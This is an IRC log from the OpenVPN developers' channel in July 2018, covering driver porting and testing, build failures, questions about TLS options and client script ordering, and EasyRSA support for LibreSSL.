jkunkee/arm64-port/4-ndis-630-upgrade 03:08 <@cron2> mmmh, seems something else added a new variable in between 03:08 <@cron2> ask jon to rebase? 03:08 <@cron2> the "RunningWindows8OrGreater" is from the HVCI fix 03:12 <@plaisthos> I still find it interesting that OpenVPN seems important enough for Microsoft that they invest their own development to port it to Windows ARM 03:17 <@mattock1> ah yes of course 03:17 <@mattock1> I'll email jon 03:29 <@mattock1> I will go back to suspend mode for a while 04:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:23 <@cron2> plaisthos: even if it's only "Jon wants this" - that he's allowed to spend work resources on that is cool 04:23 <@plaisthos> yes 05:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:43 <@plaisthos> nobody tests building with -DANDROID :P 07:43 <@plaisthos> /Users/arne/software/icsopenvpn/main/src/main/cpp/openvpn/src/openvpn/run_command.h:60: error: undefined reference to 'openvpn_execve_check' 07:43 <@plaisthos> I wonder what broke ... 07:44 <@plaisthos> oh new file run_command.c 07:52 <@cron2> are you building with the normal configure/make build system, or "something else for android"? 07:53 <@cron2> (as in "did we break 'make dist'?") 08:06 <@syzzer> cron2: we shouldn't have broken that, because travis does "make distcheck" and is still happy 08:07 <@syzzer> ordex: I'll send a v3 of the tls-crypt patch set later this week 08:08 <@syzzer> I the context of protocol upgrades, I decided the wrapped client key should include the length, so it's easier to extend the P_CONTROL_CLIENT_HARD_RESET_V3 later. 08:08 <@syzzer> code and tests are working, but need to update the docs before I can send out patches 08:11 < tincantech> plaisthos: https://github.com/schwabe/ics-openvpn/issues/896 .. vanished ? 08:15 <@plaisthos> I have no idea why 08:16 <@plaisthos> I wasn't even aware that you can delete issues 08:16 <@plaisthos> I could not even delete those issues which were spam in the past 08:22 < tincantech> that's what thought .. so mentioned it here :) 08:22 < tincantech> just FYI 08:31 < tincantech> btw .. you replied to #896 four times today .. strange 08:41 <@plaisthos> tried to 08:41 <@plaisthos> gave me an error 08:42 < tincantech> i got four emails from github ealier 08:43 < tincantech> This was the first (Closed #896) : https://github.com/schwabe/ics-openvpn/issues/896#event-1747331978 08:46 < tincantech> For context, the next read "Yes, openvpn3 is a bit different than openvpn2. To show more than one line you need to increase log visibility a bit." 08:46 < tincantech> https://github.com/schwabe/ics-openvpn/issues/896#issuecomment-407008045 08:46 < tincantech> like I said .. just for your info .. i guess it is a github issue 08:50 < tincantech> also .. #896 has vanished from the list of closed issues 09:39 <@ordex> syzzer: oky - I'll wait before more review then 10:19 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 256 seconds] 10:20 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 256 seconds] 10:20 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 10:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:27 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:48 -!- cron2_ [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 10:48 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 10:48 <@cron2_> plaisthos: could you give pan a nudge? it's still offline 10:56 <@cron2_> ok, the NetBSD buildbots are now going to turn red... 10:56 <@cron2_> they were broken all along (t_client) but since sudo wasn't setup properly, the t_client tests were never run 12:17 < tincantech> just curious (reading t_client.sh) what does kill -0 $pid do ? .. I cannot find -0 signal documented anywhere (either man pages or even google) 12:21 < tincantech> nvm .. i worked it out ;) 12:28 <@cron2_> it does nothing in particular but verifies that sudo works 13:22 <@cron2_> plaisthos: how are you feeding these patchs into git? my git cli fails to find a patch in there if I just do "git am $savefile.eml" 13:22 <@cron2_> (and patchwork also fails to recognize this as patch) 15:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 20:27 <@vpnHelper> RSS Update - tickets: #1081: iOS: app crashes upon ?reconnection? <https://community.openvpn.net/openvpn/ticket/1081> --- Day changed Tue Jul 24 2018 01:34 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:10 < tincantech> hi, so i am probably misunderstanding something but here goes anyway .. 07:10 < tincantech> using git/master built july 6 2018 07:10 < tincantech> in server config --tls-version-min 1.2 1.3 works 07:11 < tincantech> in server config --tls-version-min 1.3 1.3 does not work 07:11 < tincantech> log: Options error: unknown tls-version-min parameter: 1.3 07:13 <@cron2_> different openssl versions 07:13 <@cron2_> ? 07:13 <@cron2_> or just an openssl version that can not do 1.3 07:13 < tincantech> ahh righto :) 07:14 < tincantech> i'll try a more upto date openssl .. tyvm :) 07:30 < tincantech> cron2_: nope .. with openvpn master built today with library versions: OpenSSL 1.1.0h 27 Mar 2018, LZO 2.10 (Arch linux) -- same error message 07:32 < tincantech> with --tls-version-min 1.3 1.3 = Error .. Options error: unknown tls-version-min parameter: 1.3 07:32 <@vpnHelper> RSS Update - gitrepo: make tls-auth and tls-crypt per-connection-block options <https://github.com/OpenVPN/openvpn/commit/57d6f103f378b927b9e0054b022b5b8b442973b8> || crypto: always reload tls-auth/crypt key contexts <https://github.com/OpenVPN/openvpn/commit/5817b49b4ca39f86eabb092c562b72d46d5509f7> 07:35 < tincantech> but with --tls-version-min 1.2 1.3 .. works fine 07:40 < tincantech> please clarify: is --tls-version-min 1.2 'or-highest' .. meant to be specified the same way --server x x 'nopool' is specified ? that feels like what i am misunderstaning ? 07:45 < tincantech> ok , so "--tls-version-min 1.2 or-highest" is accepted as well as "--tls-version-min 1.2 1.3" 07:46 < tincantech> something does not seem right .. 07:48 < tincantech> also --tls-version-* does not appear in the config options of log file at verb 4 07:48 <@cron2_> "or-highest" is verbatim 07:49 <@cron2_> this is not a random thing, you can tell it "1.3 or-highest" and it will use 1.3 or whatever your library has to offer 07:49 <@cron2_> 1.2 1.3 is "I can take 1.2 so I will just ignore this random noise at the end of the line" 07:49 <@cron2_> 1.3 1.3 is "I can not use 1.3, and the other parameter is not or-highest, so -> error out" 07:50 < tincantech> ahh .. ok 07:54 < tincantech> yeah .. now i understand what i did not understand before .. thanks ;) 08:12 <@ordex> cron2_: any clue why the openbsd buildbot is not happy? 08:12 <@ordex> error.c: In function 'assert_failed': 08:12 <@ordex> error.c:445: warning: 'noreturn' function does return 08:14 <@cron2_> no idea, but that's just a warning 08:15 <@cron2_> the netbsd buildbots fail because they finally *run* the test that should have detected the problem years ago 08:15 <@cron2_> openbsd is unhappy with the cmocka submodule, but I have no idea why 08:17 <@ordex> ah right that's a warning - the "error" filename fooled me 08:17 <@ordex> cron2_: re netbsd: this tells us how used netbsd is :D 08:18 <@ordex> on openbsd, git.stdio has this line at the top: fatal: Could not parse object '57d6f103f378b927b9e0054b022b5b8b442973b8'. 08:18 <@ordex> something is off with the cmocka repo maybe? 08:18 <@ordex> (but then why only obsd fails .-.) 08:35 <@cron2_> netbsd only fails for "topology subnet *and* talk to the gateway IP itself" - routing *across* the tun interface works, so if you do redirect-gateway, you'll never notice 08:49 <@ordex> I see 08:49 <@ordex> so this means it will always fail as server, right? anyway, it does not really matter 08:54 <@cron2_> as a server, with topology subnet, things will fail - indeed 11:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:32 <@ordex> ticket #720 closed! 12:32 <@ordex> alé 12:32 <@ordex> :) 13:33 < tincantech> ordex .. 2.4.7 then .. not 2.5 ? 13:33 < tincantech> ;) 13:34 <@ordex> it's a new feature 13:34 <@ordex> so it's in the next major release 13:34 < tincantech> oh right .. gotcha 13:34 * tincantech forgot that bit 13:35 <@ordex> well, when the new feature is small enough to be also "safe" enough, then cron2_ might decide to apply it to release/2.4 too, but this is not the case (and I am fine with that) 13:37 < tincantech> yep :) .. i just forgot that step 14:04 <@cron2_> I did not read through all the patch, but it was "long and crypto" 14:05 <@cron2_> huh, openvpn connect 3.0.0 14:05 <@cron2_> someone likes making a statement, no? ;-) 14:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Wed Jul 25 2018 02:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:06 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:21 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 04:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 07:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:03 <@cron2_> a mattock has appeared in a blinding flash of light 07:08 <@mattock1> appeared and appeared 07:08 <@cron2_> so, could you try the rebased PR from Jon? 07:09 <@mattock1> yes, possibly later today, or tomorrow at latest 07:11 <@cron2_> when are you leaving for vacation? 07:24 < tincantech> does openvpn have a specific limt to an X509 name, particularly when used in --verify-x509-name ? 07:25 < tincantech> I realise there are many RFC's to read about X509 but this seems like anopenvpn code restriction 07:25 < tincantech> re: https://forums.openvpn.net/viewtopic.php?f=1&t=26784 07:25 <@vpnHelper> Title: OpenVPN Client - verify-X509-name - String Length - OpenVPN Support Forum (at forums.openvpn.net) 07:50 < tincantech> wikipedia: X.509 -- "Unspecified length of attributes lead to product-specific limits" 08:03 <@mattock1> cron2_: I am on vacation 08:03 <@mattock1> hence certain slowness 08:04 <@mattock1> but I want to get the HLK stuff out of my hands a.s.a.p. 08:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:35 <@dazo> cron2_: openvpn connect 3.0.0 is built on openvpn 3 (as basically all openvpn connect versions) ... but 3.0.0 is a complete redesigned user interface, which also tries to be consistent across all platforms we support (both mobile, tablet as well as Win/macOS) 08:36 < nb> dazo, it looks like since i upgraded to 3.0.0 beta that my mobileconfig profiles aren't working 08:38 <@dazo> nb: hmmm ... on iOS? 08:38 < nb> yes 08:38 < nb> it does the connecting/not-connected flapping thing 08:38 < nb> when i have connect on demand set up (which is set to always connect) 08:40 <@dazo> nb: please report this via Testflight, so we're sure this is properly tracked ... I don't have the overview of all features we've committed to support - and Apple's new VPN API has some other restrictions that we didn't have before too, so the developers do have some challenges to figure out this 08:42 < nb> ok 09:21 <@ordex> cron2_: 3.0.0 is the app with the new UI (like we had for Android in a while already) - expected to not introduce new features and regressions :-P 09:22 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:22 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:36 <@ordex> dazo: you raised a good point in your email: is there any new and more modern alternative to p11-kit? maybe syzzer knows something about it too, but he is not online now 10:20 <@cron2_> I always wondered why "same UI on Windows, iOS and Android" is a desirable thing to have 10:20 <@cron2_> usually it leads to "crappy windows applications, funny-looking iOS applications" 10:20 <@cron2_> like, windows 10 tile UI in general 10:26 <@cron2_> (and it's not like an iOS user in general would care muc how the Android app looks like...) 10:27 <@ordex> cron2_: it's all marketing, man! 10:27 <@ordex> :D 10:28 <@cron2_> "look, ma, this is the new user experience! inconvenience on a totally new level, and all the same, everywhere!" :-) 10:31 <@ordex> :D 10:31 <@ordex> consistent! 10:31 <@cron2_> forgive me if I do not share your excitement 10:31 <@ordex> you're welcome, because I am also not sold on this :) but not my call 10:31 <@cron2_> hehe, yes :) 11:12 <@ordex> so, p11-kit or similar seems to be in the queue for the next big thing after the many we already have :D 11:28 < tincantech> um .. --stale-routes-check defaults to 0, which I presume disables this function ? .. is there a way to tell the server to *not* continually delete addresses leant from client lan --iroute's subnets ? 11:46 <@ordex> tincantech: iroutes are attached to clients - not sure what a server should do when the related client has disconnected? 11:48 < tincantech> ordex: hi .. the client has not disconnected but the server deletes learned ip addresses anyway 11:49 < tincantech> i tried setting a high stale-routes-check but that makes no diff to these learned addresses 11:50 < tincantech> these are addresses that the server learns behind the --iroute'd client not that client itself 11:51 < tincantech> i'll keep poking .. maybe i have done something wrong .. 11:52 < tincantech> i justed wanted to know if it was a configurable thing but it does not seem to be (unless it is some lower layer kicking in ?) 11:52 < tincantech> maybe arp 11:54 < tincantech> not arp .. 12:00 < kitsune1> tincantech: do you see something like "Initializing stael route check" in the logs. If not, the check interval must be at default (=0) and routes should not get purged, I think. 12:01 < kitsune1> s/stael/stale/ 12:02 < tincantech> kitsune1: yeah .. i just tested that to see if it affected what i am seeing but it does not -- it is for routes not addresses i guess /:) 12:08 < tincantech> kitsune1: in answer .. no i do not see "stale route check" in the log .. the learned address behind an --iroute is deleted after 1m of inactivty 12:11 < kitsune1> Hmm.. so it looks like happening as a part of reaping routes which is not configurable.. multi.h has #define MULTI_CACHE_ROUTE_TTL 60 and some comments about reaping "dead" entries. 12:12 <@cron2_> --iroute should never expire 12:12 <@cron2_> learned addresses in the route lookup cache may expire, but will be re-learned (from the iroute table) 12:13 < tincantech> cron2_: --iroute is not expiring but the learned addresses *behind* an --iroute'd vpn client do 12:13 < kitsune1> Yeah, --iroute doesn't but learned routes appear to be cleared regularly.. 12:13 < tincantech> as kitune pointed out .. that looks like the reason .. thanks :D 12:13 <@cron2_> packet forwarding looks up cache entries, and if there is nothing, it will be looked up in the iroute table 12:14 < tincantech> thanks :) .. i did keep poking and i did find out what *I* had done wrong (i forgot --client-to-client .. so did not have the VPN route only the server /32 route) 12:28 < tincantech> here's a question .. when --server detects a duplicate-cn but --duplicate-cn is not specified and the server removed the current connection from the duplicate-cn .. when is the --client-disconnect script executed (never tested this myself but someone on the forum has made a reasonable point that the server has removed the duplicate so why does it not immediately run the disconnect script) ? 12:29 < tincantech> or am i completely wrong and it does (like i said .. never actually tested it myself) 12:30 < tincantech> this also harls back to my question about --tls-"revoke" script as the anti --tls-verify script 12:30 < tincantech> harks* 12:31 < tincantech> https://forums.openvpn.net/viewtopic.php?f=15&t=26783#p80166 12:31 <@vpnHelper> Title: client-connect/disconnect scripts execution order - OpenVPN Support Forum (at forums.openvpn.net) 12:40 < tincantech> probably to deeply linked to --float to make it work as I expect .. 12:41 < tincantech> maybe not .. this new connection would have new keys 12:43 < kitsune1> duplicate instance is closed after the new connection is established. disconnect-script should get executed when the instance is getting closed -- it doesn't? 12:57 < tincantech> kitsune1: i will double check .. thanks for your help :) 13:27 < kitsune1> tincantech: I looked at that forum post --- the behaviour seen there is expected, I think. When a new client connects (with another already connected) connect-script gets executed and then when the duplicate is removed disconnect-script will run. There is no way to change that order as disconnecting the duplicate cant happen before a new one has fully connected. 13:46 < tincantech> kitsune1: client-disconnect does get run but not until the new client is fully authenticated and connected .. so that guy on the forum is out of luck 13:47 < tincantech> unless there is a good reason to change what happens now .. ? 13:48 < tincantech> even TCP is not going to change that 13:52 < tincantech> i'm not sure what happens if the new connection fails for some reason .. is the old one restored or dropped anyway ? 14:31 < tincantech> single threading .. 14:50 < kitsune1> As above, the "duplicate" is removed only if the new connection with same cn succeeds -- for obvious reasons. So the disconnect script running late is expected. 15:48 < tincantech> kitsune1: sorry, i should have read your comment properly .. thanks ;) 16:01 < tincantech> kitsune1: I have a log here which clearly shows the --client-disconnect being run before the --client-connect after duplicate detected .. 16:01 < tincantech> multiple times 16:07 < tincantech> infact .. every time 16:10 < tincantech> infact according to my log --client-disconnect *is* run prior to the log message "will cause previous active sessions by this client to be dropped." 16:12 < tincantech> https://dpaste.de/KdMd 16:19 < tincantech> just restarting the test x2 check 16:32 <@plaisthos> cron2_: I am also no fan of the same UI everywhere apps. They tend look wrong on all platforms 16:41 <@dazo> tincantech: the --client-disconnect script should be called, iirc (haven't checked code or tested it) ... but if using UDP, that may happen later than you would anticipate, typically around the --keepalive timings. Not sure if --explicit-exit-notify can be used in server contexts, which could make this happen faster 16:41 <@dazo> tincantech: for TCP, --client-disconnect is generally run really quickly after the client disconnects 16:41 <@dazo> (keywords: stateless vs stateful connections) 16:45 < tincantech> dazo: thanks .. basically, what you say is not what I am seeing :$ .. i am doing some proper double checking because I feel sure it must be my mistake as usual .. but I can't figure it out yet ;) 16:45 <@dazo> but .... I might have missed some details in regards to the script hooks call order, as I've never investigated that in context of duplicated CN 16:56 < kitsune1> tincantech: "will cause previous active sessions by this client to be dropped." 16:56 < kitsune1> is printed after closing the instance that's why you see teh disconnect script running before that. 16:57 < kitsune1> But it happens when the instance is closed which is after a new one has successfully connected. 16:58 < tincantech> kitsune1: I see the disconnect run before the next connect .. and then a pause until the next reconnect 16:59 < tincantech> like i said .. it's probably my mistake 17:00 < tincantech> ecrist: ping! -- would you be so kind : https://forums.openvpn.net/viewtopic.php?f=30&t=26781 17:00 <@vpnHelper> Title: How to change user name? - OpenVPN Support Forum (at forums.openvpn.net) 17:00 < kitsune1> I was referring to a new client usurping an old one by using the same cert -- in that case there is no pause, isn't it? It can happen any time. 17:01 <@dazo> ordex: I think p11-kit is reasonably decent, but fairly low-level ... I wonder if openconnect (not to confuse openvpn connect) uses that primarily ... but if there are higer-level libraries which builds exclusively on p11-kit, that would also be good to me ... because the whole PKCS#11 stack is simply tons of layers which needs to cooperate properly 17:01 <@dazo> (and due to these layers ... gpg doesn't use some shortcuts, which makes it hard to work with other PKCS#11 users in parallel ... we should avoid that for openvpn) 17:03 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 17:03 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 17:04 <@dazo> cron2_: I can understand your dislike to cross-platform unifications, and there are truly challenges in this aspect. The key goal isn't to make it look 100% identical at any cost, but to have the UI being so similar it feels like the app on one platforms comes from the same company having the same app on a different platform 17:06 <@dazo> plus ... OpenVPN Connect is really not a feature-rich client in regards to knobs and whistles to tweak ... and using the Access Server mode, it downloads the config profile on-the-fly too with no possibility to change much settings (except proxy probably) 17:06 <@dazo> having Arne's Android app looking similar on Windows would be a disaster 17:11 < tincantech> ^ variety is the spice of life ! 17:28 < tincantech> kitsune1: thankyou .. i'll get back to you tomorrow with better details ;) --- Day changed Thu Jul 26 2018 04:35 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Quit: leaving] 06:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:06 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:15 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:59 < tincantech> kitsune1: just to confirm .. your comment above when you say "I looked at that forum post" is slightly wrong .. the --client-disconnect is run after the new client --tls-verify + --user-pass-verify but before new client --client-connect 08:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:03 <@mattock1> cron2: there by any chance? 09:17 <@mattock1> sent email 09:30 < kitsune1> tincantech: aha, that is possible -- what I saw in the sources is that the duplicate removal is done after "connection established" but could be still just before client-connect is run. If so, its even better and exactly as one would want it, isn't it? 09:39 <@cron2_> mattock1: now I'm back 09:41 <@ecrist> tincantech: maybe we should try enabling PMs again? 10:02 <@mattock1> cron2_: thanks for the patch 10:03 <@mattock1> I'm assembling the pieces of the driver now 10:14 <@mattock1> I see that jkunkee's arm64 patch to windows-driver-samples has also been merged 10:23 <@cron2_> cool 10:27 < tincantech> ecrist: to what end ? .. anyway, that is your decision .. you know exactly what they use it for. 10:28 < tincantech> kitsune1: exactly ;) 12:57 <@cron2_> mattock1: so what do I need to do to install the (unsigned) 9.22.2 driver? 12:59 <@cron2_> found it 13:00 <@cron2_> mmmh, still refuses to install 13:04 <@cron2_> tapinstall.exe hwids returned: -1073741515 13:05 <@ordex> wow, you must have done something very wrong! :P 13:07 <@cron2_> yeah, I clicked on a windows binary 13:07 <@ordex> the worst of the sins:P 13:14 <@cron2_> actually "I downloaded something that came as a link in an e-mail, and ran it as administrator!" 13:14 <@cron2_> so, yes, worst of all sins 13:15 <@cron2_> (I even clicked the "I do not know this binary, it might be EVIL!" warning away) 13:18 < kitsune1> I tried on windows 7 and errored but with: hwids returned: 0 , tapinstall.exe returned: 1. And my exisiting tap adapter is gone :( 13:34 < kitsune1> Why Why does the inf file has DriverVer = 07/26/2018,15.14.22.364 -- should be 9.22.2, isn't it? 14:08 < tincantech> are you testing something for mattock ? 14:43 < kitsune1> NCant say I'm testing for mattock -- I found this latest 9.22.2 tap exe (dated today) in https://build.openvpn.net/downloads/snapshots/ -- thought that's what cron2 referred to.. 14:43 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 15:57 <@cron2_> yes, that's the test driver mattock built, but it seems to be... strange 23:43 <@mattock1> cron2: you did turn test-signing on, did you? 23:43 <@mattock1> oh 23:43 <@mattock1> you may also need the certificate that was used to test-sign the driver --- Day changed Fri Jul 27 2018 00:14 <@mattock1> I sent another email about tap-windows6 testing 01:16 <@cron2_> will test later today 02:51 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:51 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:47 < tincantech> ecrist: ping! -- What would you do with this? https://forums.openvpn.net/viewtopic.php?f=1&t=26797 06:47 <@vpnHelper> Title: Why Video Marketing Is Important For Business? - OpenVPN Support Forum (at forums.openvpn.net) 07:10 <@ecrist> tincantech: def spam 07:23 < tincantech> ok .. i was going to toy with them first but i'll just bin it ;) 07:24 < tincantech> done 07:25 <@ecrist> good plan 07:25 < tincantech> out of curiosity .. how is it going with easyrsa & libressl ? do you have a plan ? 07:27 < tincantech> I keep following but I have no idea what libressl would have you do instead .. 07:31 <@plaisthos> libressl is kind of meh in support 07:32 < tincantech> put it this way .. i devised a "solution" but it is so ugly I doubt very much it would be an acceptable approach .. 07:32 <@plaisthos> if you follow the discussion on the openvpn-devel list 07:32 <@plaisthos> ah sorry misread that 07:33 < tincantech> plaisthos: yeah .. easyrsa not openvpn :) 07:33 < tincantech> ecrist: i think your silence is informative enough ;) 07:34 <@ecrist> tincantech: I'm going to poke at it today in my sword-fighting time at work. 07:34 <@ecrist> It's not a minor change to just support LibreSSL 07:35 <@ecrist> The environment variable mechanism in use by the script is specifically unsupported in LibreSSL command line tools. 07:35 <@ecrist> Which means a very significant rewrite of the code. 07:37 < tincantech> yes .. i realise that .. I don't know what approach you could adopt (lack of experience in that field) 07:37 <@ecrist> I don't either, yet. I have aspirations that EasyRSA 4.x will be rewritten in C or C++ 07:37 <@ecrist> The biggest hurdle there is I've never really written C or C++ 07:38 <@ecrist> ;) 07:38 <@ecrist> I managed to write a fairly feature-complete PowerShell script yesterday, so I've got that going for me... 07:39 < tincantech> good luck ! that sounds like quite a leap ! 07:40 < tincantech> easyrsa in powershell in one day ! ie carrumba 07:40 <@ecrist> no,no, not like that 07:40 <@ecrist> a script that does something else, but I'd never written any PS before 07:41 < tincantech> ok .. gotcha 07:48 < tincantech> I wonder if an email to thier mailing list email:libressl@openbsd.org would bear any fruit 07:48 <@ecrist> no, likely not 07:49 < tincantech> They describe that list as "public list for technical discussion about LibreSSL on any operating system" 07:49 < tincantech> at least maybe get some eyes on it ? 07:50 <@ecrist> get some eyes on what? 07:50 < tincantech> on the problem with easyrsa .. maybe they have a prefered approach ? 07:51 < tincantech> just a thought .. just trying to help ;) 07:51 <@ecrist> the "problem" for EasyRSA was actually a design desicion by the LibreSSL team. 07:51 <@ecrist> Not a horrible one, but an inconvenient one. 07:52 < tincantech> II saw your comment about your sanity and looked at that opencord website but could not find anything that i could understand 08:02 <@plaisthos> ecrist: don't start with OpenSSL if you learn C/C++ 08:02 <@plaisthos> OpenSSL is not exactly beginner friendly C 08:03 <@ecrist> plaisthos: I'd probably start with LibreSSL 08:03 <@plaisthos> ecrist: same thing applies 08:03 <@ecrist> or maybe mbedTLS 08:03 <@ecrist> or whatever it's called now 08:03 <@plaisthos> mbedTLS is better 08:04 <@plaisthos> but honestly all these APIs are not exactly beginner friendly 08:04 <@plaisthos> most assume that you are already a crypto *and* C nerd to begin with 08:04 <@ecrist> goodie, I like a challenge 08:04 <@plaisthos> :) 09:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:17 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 10:30 < tincantech> ecrist: I may have had a bit of a "light bulb" moment regarding libressl .. 10:31 < tincantech> building libressl now for some testing 10:31 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has quit [Quit: leaving] 10:32 -!- syzzer [~steffan@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:33 < tincantech> syzzer quit right there .. coincidence or irony ;) 10:35 < tincantech> lol .. he's back :D 10:41 < tincantech> FYI: it's Friday, it is *hot*, I have beer ;) 10:42 * tincantech apologises in advance 10:43 <@ecrist> lol 10:45 < tincantech> it will be amusiong if my idea works .. I will have to include some #comment in the PR ;) --- Day changed Sat Jul 28 2018 01:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:32 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 03:25 <@cron2_> dood morning 08:57 < tincantech> ecrist: can i get un-banned from #openvpn please :) (pretty please) 08:58 < tincantech> for now tho .. if you install in windows does the installer check for .net and other dependancies ? 09:14 < tincantech> I think "Winows XP" ought to be removed from https://github.com/OpenVPN/openvpn-gui 09:14 <@vpnHelper> Title: GitHub - OpenVPN/openvpn-gui: OpenVPN GUI is a graphical frontend for OpenVPN running on Windows XP / Vista / 7 / 8. It creates an icon in the notification area from which you can control OpenVPN to start/stop your VPN tunnels, view the log and do other useful things. (at github.com) 09:30 <@cron2_> tincantech: can you send a PR please? 09:37 < tincantech> cron2_: so you agree that it ought to be removed .. I'll raise it on git 10:22 < kitsune1> GUI 10 bundled with 2.3 still supports XP isn't it? 11:36 < tincantech> kitsune1: WXP 2.3 gui v10 .. Win7/8/10 2.4 gui v11 11:37 < tincantech> https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI-New 11:37 <@vpnHelper> Title: OpenVPN-GUI-New – OpenVPN Community (at community.openvpn.net) 13:31 < kitsune1> tincantech: so the github description is correct right -- as it applies to master and release/10 together.. 14:32 < tincantech> kitsune1: fair point .. then at least *i think* the distinction between versions should be made a little earlier than here : https://github.com/OpenVPN/openvpn-gui/blob/master/README.rst#running-openvpn-gui-as-a-non-admin-user 14:33 <@vpnHelper> Title: openvpn-gui/README.rst at master · OpenVPN/openvpn-gui · GitHub (at github.com) 14:33 < tincantech> does that sound reasonable ? 15:25 < tincantech> meh .. maybe that is good enough 15:39 < tincantech> here is an odd one for you .. 15:39 < tincantech> on this page https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI-New 15:39 <@vpnHelper> Title: OpenVPN-GUI-New – OpenVPN Community (at community.openvpn.net) 15:40 < tincantech> should i give direct links to 'baretail' and 'notepad++' 15:40 < tincantech> or leave them as they are ? 15:40 < tincantech> under sections logfile and edit config 15:41 < tincantech> seems like they are free so they desreve some support 15:42 < tincantech> fk it .. link it is 15:45 < tincantech> maybe not .. 15:45 < kitsune1> Links cant hurt -- more importantly, you do not describe how to use custom applications for viewing the log and config, do you? I think latest GUi uses file association to select the editor so associating .log and .ovpn with notepad++ or whatever should be suggested ? 15:46 < kitsune1> Or may be you do and I missed it.. 15:48 < kitsune1> By you I meant "OpenVPN-GUI-New" page :) 16:27 < tincantech> i guess ......... ;) 16:39 < tincantech> i think those links would be a little too influential if that page is included in the gui itself 16:39 < tincantech> i may have been a little harsh toward the end but i can live with it 16:39 < tincantech> kitsune1: thanks for having a look :) 16:55 < tincantech> is Vista now as [deleted] as XP ? 23:06 < kitsune1> Vista has always been [deleted] :) --- Day changed Sun Jul 29 2018 15:27 <@ordex> aloha 16:30 < tincantech> aloha :) 16:30 < tincantech> ecrist: ping! .. odd thing going on with libressl and easyrsa .. really odd! 17:02 < tincantech> nvm .. it works outside of easyrsa .. so 17:09 < tincantech> still .. it is peculiar .. have a paste: https://dpaste.de/zctu 17:10 < tincantech> where is that stray '$EASYRSA' coming from ? 17:29 < tincantech> aggg .. forget it .. i was looking at the wrong config file *slap* 17:32 < tincantech> too many windoooows ! 17:34 < tincantech> too many mushroooms ! --- Day changed Mon Jul 30 2018 02:05 <@cron2_> moin 02:51 <@cron2_> dazo: *poke* --- Log closed Mon Jul 30 04:32:39 2018 --- Log opened Mon Jul 30 07:04:42 2018 07:04 -!- Irssi: #openvpn-devel: Total of 31 nicks [7 ops, 0 halfops, 0 voices, 24 normal] 07:04 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 07:04 -!- Irssi: Join to 